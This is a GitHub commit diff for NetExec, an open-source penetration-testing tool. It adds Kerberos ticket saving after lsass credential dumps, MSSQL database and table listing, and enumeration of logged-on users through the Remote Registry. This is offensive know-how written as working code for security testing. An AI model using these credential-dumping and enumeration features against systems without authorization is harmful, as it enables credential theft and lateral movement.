Skip to content

Commit 4c4f3b9

Browse files
authored
Merge branch 'Pennyw0rth:main' into main
2 parents daa37dd + dbb0545 commit 4c4f3b9

6 files changed

Lines changed: 298 additions & 11 deletions

File tree

.github/ISSUE_TEMPLATE/bug_report.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,3 @@
1-
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
2-
31
---
42
name: Bug report
53
about: Create a report to help us improve
@@ -9,6 +7,8 @@ assignees: ''
97

108
---
119

10+
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
11+
1212

1313

1414
**Describe the bug**

nxc/modules/lsassy.py

Lines changed: 75 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,17 @@
44
# https://beta.hackndo.com [FR]
55
# https://en.hackndo.com [EN]
66

7+
import os
8+
import sys
79
from lsassy.dumper import Dumper
810
from lsassy.impacketfile import ImpacketFile
911
from lsassy.parser import Parser
1012
from lsassy.session import Session
1113

14+
from impacket.krb5.ccache import CCache
15+
1216
from nxc.helpers.bloodhound import add_user_bh
17+
from nxc.paths import NXC_PATH
1318

1419

1520
class NXCModule:
@@ -21,13 +26,33 @@ def __init__(self, context=None, module_options=None):
2126
self.context = context
2227
self.module_options = module_options
2328
self.method = None
29+
self.dump_tickets = True
30+
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
31+
self.ticket_type = "ccache"
2432

2533
def options(self, context, module_options):
26-
"""METHOD Method to use to dump lsass.exe with lsassy"""
34+
"""
35+
METHOD Method to use to dump lsass.exe with lsassy
36+
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
37+
SAVE_DIR Directory to save dumped tickets
38+
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
39+
"""
2740
self.method = "comsvcs"
2841
if "METHOD" in module_options:
2942
self.method = module_options["METHOD"]
3043

44+
if "DUMP_TICKETS" in module_options:
45+
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
46+
47+
if "SAVE_DIR" in module_options:
48+
self.save_dir = module_options["SAVE_DIR"]
49+
50+
if "SAVE_TYPE" in module_options:
51+
self.ticket_type = module_options["SAVE_TYPE"]
52+
if self.ticket_type not in ["kirbi", "ccache"]:
53+
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
54+
sys.exit(1)
55+
3156
def on_admin_login(self, context, connection):
3257
host = connection.host
3358
domain_name = connection.domain
@@ -67,7 +92,6 @@ def on_admin_login(self, context, connection):
6792
context.log.fail("Unable to parse lsass dump")
6893
return False
6994
credentials, tickets, masterkeys = parsed
70-
7195
file.close()
7296
context.log.debug("Closed dumper file")
7397
file_path = file.get_file_path()
@@ -84,6 +108,9 @@ def on_admin_login(self, context, connection):
84108
if credentials is None:
85109
credentials = []
86110

111+
if self.dump_tickets and tickets:
112+
self.write_tickets(context, tickets, host)
113+
87114
for cred in credentials:
88115
c = cred.get_object()
89116
context.log.debug(f"Cred: {c}")
@@ -116,6 +143,52 @@ def on_admin_login(self, context, connection):
116143
context.log.debug("Calling process_credentials")
117144
self.process_credentials(context, connection, credentials_output)
118145

146+
def write_tickets(self, context, tickets, host):
147+
if not tickets:
148+
context.log.display("No Kerberos tickets found")
149+
return
150+
151+
if not os.path.exists(self.save_dir):
152+
try:
153+
os.makedirs(self.save_dir)
154+
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
155+
except Exception as e:
156+
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
157+
return
158+
159+
ticket_count = 0
160+
for ticket in tickets:
161+
for filename in ticket.kirbi_data:
162+
try:
163+
base_filename = filename.split(".kirbi")[0]
164+
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
165+
kirbi_data = ticket.kirbi_data[filename]
166+
167+
if self.ticket_type == "ccache":
168+
ccache = CCache()
169+
ccache.fromKRBCRED(kirbi_data.dump())
170+
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
171+
ticket_content = ccache.getData()
172+
else:
173+
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
174+
ticket_content = kirbi_data.dump()
175+
176+
ticket_path = os.path.join(self.save_dir, ticket_filename)
177+
178+
with open(ticket_path, "wb") as f:
179+
f.write(ticket_content)
180+
181+
ticket_count += 1
182+
context.log.debug(f"Saved ticket: {ticket_filename}")
183+
184+
except Exception as e:
185+
context.log.fail(f"Error writing ticket {filename}: {e}")
186+
187+
if ticket_count > 0:
188+
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
189+
else:
190+
context.log.display("No tickets were saved")
191+
119192
def process_credentials(self, context, connection, credentials):
120193
if len(credentials) == 0:
121194
context.log.display("No credentials found")

nxc/protocols/mssql.py

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -435,3 +435,74 @@ def rid_brute(self, max_rid=None):
435435

436436
so_far += simultaneous
437437
return entries
438+
439+
def _qname(self, ident: str) -> str:
440+
if ident is None:
441+
return "[]"
442+
return "[" + str(ident).replace("]", "]]") + "]"
443+
444+
def list_databases(self):
445+
try:
446+
q = (
447+
"SELECT d.name AS DatabaseName, "
448+
" suser_sname(d.owner_sid) AS Owner "
449+
"FROM sys.databases d "
450+
"ORDER BY d.name;"
451+
)
452+
rows = self.conn.sql_query(q) or []
453+
if not rows:
454+
self.logger.display("No databases returned")
455+
return
456+
457+
self.logger.display("Enumerated databases")
458+
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
459+
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
460+
for r in rows:
461+
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
462+
self.logger.highlight(f"Total: {len(rows)} database(s)")
463+
except Exception as e:
464+
self.logger.fail(f"Failed to enumerate databases: {e}")
465+
self.logger.debug("list_databases error", exc_info=True)
466+
467+
def database(self):
468+
db_arg = self.args.database
469+
470+
# nxc --database (no value) -> list
471+
if db_arg is True or db_arg is None:
472+
self.list_databases()
473+
return
474+
475+
# nxc --database <name> -> tables
476+
if isinstance(db_arg, str):
477+
try:
478+
safe = db_arg.replace("'", "''")
479+
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
480+
if not exists:
481+
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
482+
return
483+
484+
tq = (
485+
f"SELECT t.name AS TableName, t.modify_date "
486+
f"FROM {self._qname(db_arg)}.sys.tables t "
487+
f"ORDER BY t.name;"
488+
)
489+
rows = self.conn.sql_query(tq) or []
490+
except Exception as e:
491+
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
492+
self.logger.debug("database() error", exc_info=True)
493+
return
494+
495+
if not rows:
496+
self.logger.display(f"Database [{db_arg}] has no user tables.")
497+
return
498+
499+
self.logger.display(f"Tables in database: {db_arg}")
500+
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
501+
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
502+
for r in rows:
503+
mod = r.get("modify_date", "")
504+
if mod and hasattr(mod, "strftime"):
505+
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
506+
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
507+
self.logger.highlight(f"Total: {len(rows)} table(s)")
508+
return

nxc/protocols/mssql/proto_args.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,8 @@ def proto_args(parser, parents):
66
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
77
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
88
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
9-
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
9+
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the mssql db")
10+
mssql_parser.add_argument("--database", nargs="?", const=True, metavar="NAME", help="list databases or list tables for NAME")
1011

1112
dgroup = mssql_parser.add_mutually_exclusive_group()
1213
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")

nxc/protocols/smb.py

Lines changed: 143 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -63,7 +63,7 @@
6363
from dploot.lib.target import Target
6464
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
6565

66-
from time import time, ctime
66+
from time import time, ctime, sleep
6767
from traceback import format_exc
6868
from termcolor import colored
6969
import contextlib
@@ -1149,6 +1149,147 @@ def format_row(procInfo):
11491149
except SessionError:
11501150
self.logger.fail("Cannot list remote tasks, RDP is probably disabled.")
11511151

1152+
def reg_sessions(self):
1153+
1154+
def output(sessions):
1155+
if sessions:
1156+
# Calculate max lengths for formatting
1157+
maxSidLen = max(len(key) + 1 for key in sessions)
1158+
maxSidLen = max(maxSidLen, len("SID") + 1)
1159+
maxUsernameLen = max(len(vals["Username"] + vals["Domain"]) + 1 for vals in sessions.values()) + 1
1160+
maxUsernameLen = max(maxUsernameLen, len("USERNAME") + 1)
1161+
1162+
# Create the template for formatting
1163+
template = (f"{{USERNAME: <{maxUsernameLen}}} {{SID: <{maxSidLen}}}")
1164+
1165+
# Create headers
1166+
header = template.format(USERNAME="USERNAME", SID="SID")
1167+
header2 = template.replace(" <", "=<").format(USERNAME="", SID="")
1168+
1169+
# Store result
1170+
result = [header, header2]
1171+
1172+
for sid, vals in sessions.items():
1173+
username = vals["Username"]
1174+
domain = vals["Domain"]
1175+
user_full = f"{domain}\\{username}" if username else ""
1176+
1177+
row = template.format(USERNAME=user_full, SID=sid)
1178+
result.append(row)
1179+
1180+
self.logger.success("Remote Registry enumerated sessions")
1181+
for row in result:
1182+
self.logger.highlight(row)
1183+
else:
1184+
self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.")
1185+
1186+
# Bind to the Remote Registry Pipe
1187+
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn)
1188+
for binding_attempts in range(2, 0, -1):
1189+
dce = rpctransport.get_dce_rpc()
1190+
try:
1191+
dce.connect()
1192+
dce.bind(rrp.MSRPC_UUID_RRP)
1193+
break
1194+
except SessionError as e:
1195+
self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}")
1196+
if binding_attempts == 1: # Last attempt
1197+
self.logger.info(f"The Remote Registry service seems to be disabled on {self.hostname}.")
1198+
return
1199+
# STATUS_PIPE_NOT_AVAILABLE : Waiting 1 second for the service to start (if idle and set to 'Automatic' startup type)
1200+
sleep(1)
1201+
1202+
# Open HKU hive
1203+
try:
1204+
resp = rrp.hOpenUsers(dce)
1205+
except DCERPCException as e:
1206+
if "rpc_s_access_denied" in str(e).lower():
1207+
self.logger.info(f"Access denied while enumerating session using the Remote Registry on {self.hostname}.")
1208+
return
1209+
else:
1210+
self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}")
1211+
except Exception as e:
1212+
self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}")
1213+
1214+
# Enumerate HKU subkeys and recover SIDs
1215+
sid_filter = "^S-1-.*\\d$"
1216+
exclude_sid = ["S-1-5-18", "S-1-5-19", "S-1-5-20"]
1217+
1218+
key_handle = resp["phKey"]
1219+
index = 1
1220+
sessions = {}
1221+
1222+
while True:
1223+
try:
1224+
resp = rrp.hBaseRegEnumKey(dce, key_handle, index)
1225+
sid = resp["lpNameOut"].rstrip("\0")
1226+
if re.match(sid_filter, sid) and sid not in exclude_sid:
1227+
self.logger.info(f"User with SID {sid} is logged in on {self.hostname}")
1228+
sessions.setdefault(sid, {"Username": "", "Domain": ""})
1229+
index += 1
1230+
except rrp.DCERPCSessionError as e:
1231+
if "ERROR_NO_MORE_ITEMS" in str(e):
1232+
self.logger.debug(f"No more items found in HKU on {self.hostname}.")
1233+
break
1234+
else:
1235+
self.logger.fail(f"Error enumerating HKU subkeys on {self.hostname}: {e}")
1236+
break
1237+
1238+
rrp.hBaseRegCloseKey(dce, key_handle)
1239+
dce.disconnect()
1240+
1241+
if not sessions:
1242+
self.logger.info(f"No sessions found via the Remote Registry service on {self.hostname}.")
1243+
return
1244+
1245+
# Bind to the LSARPC Pipe for SID resolution
1246+
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn)
1247+
dce = rpctransport.get_dce_rpc()
1248+
try:
1249+
dce.connect()
1250+
dce.bind(lsat.MSRPC_UUID_LSAT)
1251+
except Exception as e:
1252+
self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}")
1253+
output(sessions)
1254+
return
1255+
1256+
# Resolve SIDs with names
1257+
policy_handle = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)["PolicyHandle"]
1258+
try:
1259+
resp = lsat.hLsarLookupSids(dce, policy_handle, sessions.keys(), lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
1260+
except DCERPCException as e:
1261+
if str(e).find("STATUS_SOME_NOT_MAPPED") >= 0:
1262+
resp = e.get_packet()
1263+
self.logger.debug(f"Could not resolve some SIDs: {e}")
1264+
else:
1265+
resp = None
1266+
self.logger.debug(f"Could not resolve SID(s): {e}")
1267+
1268+
if resp:
1269+
for sid, item in zip(sessions.keys(), resp["TranslatedNames"]["Names"], strict=False):
1270+
if item["DomainIndex"] >= 0:
1271+
sessions[sid]["Username"] = item["Name"]
1272+
sessions[sid]["Domain"] = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"]
1273+
1274+
# Filter for usernames
1275+
if self.args.reg_sessions:
1276+
arg = self.args.reg_sessions
1277+
if os.path.isfile(arg):
1278+
with open(arg) as f:
1279+
usernames = [line.strip().lower() for line in f if line.strip()]
1280+
else:
1281+
usernames = [arg.lower()]
1282+
1283+
filtered_sessions = {}
1284+
for sid, info in sessions.items():
1285+
if info["Username"].lower() not in usernames:
1286+
continue
1287+
else:
1288+
filtered_sessions[sid] = info
1289+
output(filtered_sessions)
1290+
else:
1291+
output(sessions)
1292+
11521293
def shares(self):
11531294
temp_dir = ntpath.normpath("\\" + gen_random_string())
11541295
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
@@ -1370,7 +1511,7 @@ def get_dc_ips(self):
13701511
return dc_ips
13711512

13721513
def smb_sessions(self):
1373-
self.logger.fail("[REMOVED] Use option --qwinsta or --loggedon-users")
1514+
self.logger.fail("[REMOVED] Use option --reg-sessions --qwinsta or --loggedon-users")
13741515
return
13751516

13761517
def disks(self):

0 commit comments

Comments
 (0)